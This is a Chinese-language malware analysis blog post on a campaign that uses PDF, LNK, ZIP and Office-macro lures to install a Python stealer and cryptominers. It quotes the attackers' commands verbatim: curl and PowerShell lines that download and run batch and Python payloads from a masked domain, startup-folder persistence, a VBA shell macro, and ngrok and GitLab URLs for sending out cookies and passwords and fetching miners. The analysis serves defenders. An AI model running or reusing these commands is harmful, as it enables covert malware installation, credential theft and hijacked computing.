文章首发地址:
https://xz.aliyun.com/t/14524
文章首发作者:
T0daySeeker
概述
近期,笔者在浏览网络中威胁情报信息的时候,发现了一篇由以色列Check Point公司于2024年5月14日发布的一篇《FOXIT PDF “FLAWED DESIGN” EXPLOITATION》报告,报告大致描述内容为:由于Foxit PDF Reader软件的缺陷设计,导致使用者容易遭受木马攻击,报告对PDF样本进行了简单的描述,同时还披露了相关Hash信息。于是,笔者就基于报告中提到的PDF样本进行分析,通过关联对比,无意间发现了一个通过多种载荷传播挖矿程序的域名。
「此外,报告还批量了部分APT-C-35/DoNot的相关样本Hash,不过笔者尝试对报告进行了详细的研读,最后也不清楚具体是怎么关联确定其为APT-C-35/DoNot背景的。。。」
为了能够进一步的梳理此挖矿程序的传播方式及攻击链,笔者尝试基于网络中的威胁情报平台提取下载了大量的样本载荷,并对其进行了梳理分析,最终成功梳理其攻击利用过程,详细梳理过程如下:
-
多种传播方式:提取多种不同类型的样本,并对其进行对比分析; -
攻击链梳理:梳理总结不同URL下的载荷内容特征及功能; -
py脚本分析:基于逆向分析,梳理py脚本的功能; -
挖矿程序分析:梳理提取挖矿程序的矿池信息;
笔者抽样提取了数十个不同类型的样本文件,发现其外联地址均相同,此外,笔者还发现VT平台上的关联样本有「近一半样本0报毒」,相关截图如下:
多种传播方式
通过分析,笔者尝试提取了多种不同类型的样本,梳理发现:
-
不同类型的样本的最终外联地址均为以 https://xxxxxx.click/bat/
开头的URL; -
不同样本对应的外联地址不同; -
以 https://xxxxxx.click/bat/
开头的不同URL外联地址的网页内容大体运行逻辑相同;
因此,笔者推测,此系列样本主要为了攻击者通过不同方式传播木马所生成的。
pdf文件传播
通过分析,下载并分析关联pdf样本(MD5:DD3587FFFAAE10EB339EA0EC1B2FC1DA),发现此pdf样本运行后,将触发漏洞并从https://xxxxxx.click/bat/bostar4
地址外联下载bat文件。相关截图如下:
载荷内容如下:
curl https://xxxxxx.click/bat/bostar4 -o "C:UsersPublicmems.bat"
外联下载地址内容截图如下:
尝试对网页内容进行分析,发现此bat脚本运行后将访问facebook(具体意图不知),然后将外联下载并创建自启动项,最后将外联下载py脚本并运行。网页内容如下:
cmd /c start https://www.facebook.com/help/contact/1304188393453553?ref=payout_hub
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip -o "C:\Users\Public\python39\python39.zip"
cmd /c tar -xf C:\Users\Public\python39\python39.zip -C "C:\Users\Public\python39"
cmd /c curl https://xxxxxx.click/py/bostar4 -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"
lnk文件传播
通过分析,下载并分析关联lnk样本(MD5:75F78C018AC77A493CD88A049AE59F8A),发现此lnk文件样本运行后,将从https://xxxxxx.click/bat/ld
地址外联下载并运行bat文件。相关截图如下:
快捷方式内容如下:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Invoke-WebRequest -URI https://xxxxxx.click/bat/ld -OutFile C:/Users/Public/img.bat;powershell C:/Users/Public/img.bat
外联下载地址内容截图如下:
尝试对网页内容进行分析,发现此bat脚本除不会外联访问Facebook外,其余功能逻辑均相同。网页内容如下:
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip -o "C:\Users\Public\python39\python39.zip"
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\python39\python39.zip -DestinationPath C:\Users\Public\python39
cmd /c curl https://xxxxxx.click/py/ld -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"
zip文件传播
通过分析,梳理关联zip样本(MD5:A2F368FFADE32738CE0AC52AB51BD3FF),发现xxxxxx.click域名的关联zip样本名均是精心构造过的,推测其此行为主要为了用于网络钓鱼,相关截图如下:
尝试挑选其中一个zip文件作为案例,并对其进行分析。发现zip文件解压后为bat文件,运行此bat文件后,样本将从https://xxxxxx.click/bat/anhoang
地址外联下载并运行bat文件。相关截图如下:
有效载荷内容如下:
curl https://xxxxxx.click/bat/anhoang -o "C:\Users\Public\memser.bat"
外联下载地址内容截图如下:
尝试对网页内容进行分析,发现此bat脚本使用的zip解压方式与上述脚本不同。网页内容如下:
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip --ssl-no-revoke -o "C:\Users\Public\python39\python39.zip"
cmd /c tar -xf C:\Users\Public\python39\python39.zip -C "C:\Users\Public\python39"
cmd /c curl https://xxxxxx.click/py/anhoang --ssl-no-revoke -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"
xlsm文件传播
通过分析,下载并分析关联xlsm样本(MD5:B1CC116028567ED95BAF1A8E10FEC520),发现此xlsm文件样本运行后,将从宏代码中外联下载并运行bat文件,外联地址为:https://xxxxxx.click/bat/ld
。相关截图如下:
有效载荷内容如下:
C:WindowsSystem32cmd.exe curl https://xxxxxx.click/bat/lapbun -o C:UsersPublicmem.bat & C:UsersPublicmem.bat
外联下载地址内容截图如下:
尝试对网页内容进行分析,发现此bat脚本与lnk文件中的脚本逻辑相同。网页内容如下:
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://xxxxxx.click/config/stu -OutFile "C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\WindowsUpdate.bat";
cmd /c mkdir "C:\Users\Public\python39";
cmd /c curl https://xxxxxx.click/app/python39.zip -o "C:\Users\Public\python39\python39.zip"
C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\python39\python39.zip -DestinationPath C:\Users\Public\python39
cmd /c curl https://xxxxxx.click/py/lapbun -o "C:\Users\Public\python39\documents.py"
cmd /c C:\Users\Public\python39\python.exe "C:\Users\Public\python39\documents.py"
docm文件传播
通过分析,下载并分析关联docm样本(MD5:49A4395FBDF77B5D275E992FBF457A89),发现此docm文件样本运行后,将从宏代码中外联下载并运行bat文件,外联地址为:https://xxxxxx.click/bat/lapbun
。相关截图如下:
有效载荷内容如下:
CMDPath = "C:WindowsSystem32cmd.exe"
CMDCommand = "curl https://xxxxxx.click/bat/lapbun -o C:UsersPublicmems.bat & C:UsersPublicmems.bat"
Shell CMDPath & " /c " & CMDCommand, vbNormalFocus
此样本的外联下载地址与xlsm文件的外联下载地址相同,因此其外联下载的载荷内容也相同。
攻击链梳理
/bat/xxx
通过分析,发现不同类型样本的外联地址均是以https://xxxxxx.click/bat/
开头的URL,进一步对其进行分析,扩线发现更多的以https://xxxxxx.click/bat/
开头的URL,相关URL情况如下:
https://xxxxxx.click/bat/bostar1
https://xxxxxx.click/bat/bostar2
https://xxxxxx.click/bat/bostar3
https://xxxxxx.click/bat/bostar5
https://xxxxxx.click/bat/bostar6
https://xxxxxx.click/bat/bostar7
https://xxxxxx.click/bat/bostar8
https://xxxxxx.click/bat/bostar9
通过分析,发现以https://xxxxxx.click/bat/
开头的URL的载荷功能均相同:
-
外联 https://xxxxxx.click/config/stu
地址,将载荷内容保存至启动目录下的WindowsUpdate.bat文件中; -
外联 https://xxxxxx.click/app/python39.zip
地址,将载荷内容保存至C:UsersPublicpython39python39.zip文件中; -
解压C:UsersPublicpython39python39.zip文件内容至C:UsersPublicpython39目录; -
外联以 https://xxxxxx.click/py/
开头的URL(URL中的文件名与以https://xxxxxx.click/bat/
开头的URL中的文件名相同),将载荷内容保存至C:UsersPublicpython39documents.py文件中; -
调用C:UsersPublicpython39python.exe程序加载C:UsersPublicpython39documents.py脚本;
https://xxxxxx.click/config/stu
网页内容(「用于自启动」)截图如下:
载荷内容如下:
cmd /c C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe -windowstyle hidden C:\Users\Public\python39\python C:\Users\Public\python39\documents.py;
/py/xxx
通过分析,扩线发现更多的以https://xxxxxx.click/py/
开头的URL,相关URL情况如下:
https://xxxxxx.click/py/bostar1
https://xxxxxx.click/py/bostar2
https://xxxxxx.click/py/bostar3
https://xxxxxx.click/py/bostar4
https://xxxxxx.click/py/bostar5
https://xxxxxx.click/py/bostar6
https://xxxxxx.click/py/bostar7
https://xxxxxx.click/py/bostar8
https://xxxxxx.click/py/bostar9
尝试对其网页内容进行分析,发现此网页主要用于获取以https://xxxxxx.click/pyen/
开头的URL载荷内容,相关截图如下:
相关base64编码及解码后字符串内容如下:
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjQnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar4').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjEnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar1').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjInKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar2').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjMnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar3').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjUnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar5').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjYnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar6').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjcnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar7').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjgnKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar8').text
dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjknKS50ZXh0
vari = requests.get('https://xxxxxx.click/pyen/bostar9').text
/pyen/xxx
尝试对以https://xxxxxx.click/pyen/
开头的URL载荷内容进行分析,发现此载荷内容为base64编码,解码后发现其主要用于窃取浏览器信息及外联下载挖矿程序,相关网页截图如下:
py脚本分析
混淆处理
通过分析,发现此脚本被混淆处理,脚本中携带了大量的长字符串命令的变量名及函数名,相关代码截图如下:
窃取主机信息
尝试对代码进行去混淆处理,发现此脚本运行后,将窃取主机信息:当前登录用户及IP地址信息。相关代码截图如下:
窃取浏览器cookies及登录密码
通过分析,发现此脚本运行后,将窃取浏览器cookies及登录密码,相关代码截图如下:
判断归属地信息
通过分析,发现此脚本运行后,将根据当前主机归属地信息判断是否发起外联请求,相关代码截图如下:
相关国家地区代码对比信息如下:
'ZM':赞比亚(Zambia)
'YE':也门(Yemen)
'TV':图瓦卢(Tuvalu)
'TG':多哥(Togo)
'TO':汤加(Tonga)
'SA':沙特阿拉伯(Saudi Arabia)
'MW':马拉维(Malawi)
'KE':肯尼亚(Kenya)
'V':瓦努阿图(Vanuatu)
'GA':加蓬(Gabon)
'ET':埃塞俄比亚(Ethiopia)
'DM':多米尼克(Dominica)
'BE':比利时(Belgium)
「备注:暂不清楚判断上述国家地区的原因」
外联发送数据
通过分析,发现此脚本运行后,将以https://xxxxxx.click/host/
开头的URL处获取外联地址,相关代码截图如下:
外联地址载荷内容如下:
梳理外联URL如下:
/up/cookie-password
/up/cookie-password-all
扩线提取以https://xxxxxx.click/host/
开头的URL的载荷内容如下:「(备注:相关URL使用的是ngrok代理)」
https://1793-103-68-109-198.ngrok-free.app
https://5edf-103-68-109-200.ngrok-free.app
https://6414-103-68-109-201.ngrok-free.app
https://7e9a-103-68-109-202.ngrok-free.app
https://d0c2-103-68-109-203.ngrok-free.app
https://eb6b-103-68-109-204.ngrok-free.app
https://c456-103-68-109-207.ngrok-free.app
https://7b7c-103-68-109-208.ngrok-free.app
https://be23-103-68-109-210.ngrok-free.app
外联下载挖矿程序
通过分析,发现此脚本将从https://xxxxxx.click/miner/c
、https://xxxxxx.click/miner/g
地址处外联获取挖矿程序的下载链接,相关代码截图如下:
相关外联网页内容截图如下:
相关载荷内容如下:
https://gitlab.com/topworld20241/none/-/raw/main/xmrig.zip?inline=false
https://gitlab.com/topworld20241/none/-/raw/main/lolMiner.zip?inline=false
挖矿程序分析
通过分析,发现最终挖矿程序均存放于gitlab中,相关截图如下:
进一步分析,发现gitlab上存在大量操作记录,说明攻击者在不断的优化修改其挖矿程序**(备注:基于操作记录可下载历史文件)**,相关截图如下:
lolminer
通过分析,发现可从lolMiner.zip压缩包中的config.vbs脚本中提取矿池信息,相关截图如下:
xminer
通过分析,发现可从xmrig.zip压缩包中的config.vbs脚本中提取矿池信息,相关截图如下:
原文始发于微信公众号(T0daySeeker):0报毒!未知黑产组织通过多种载荷传播挖矿程序手法剖析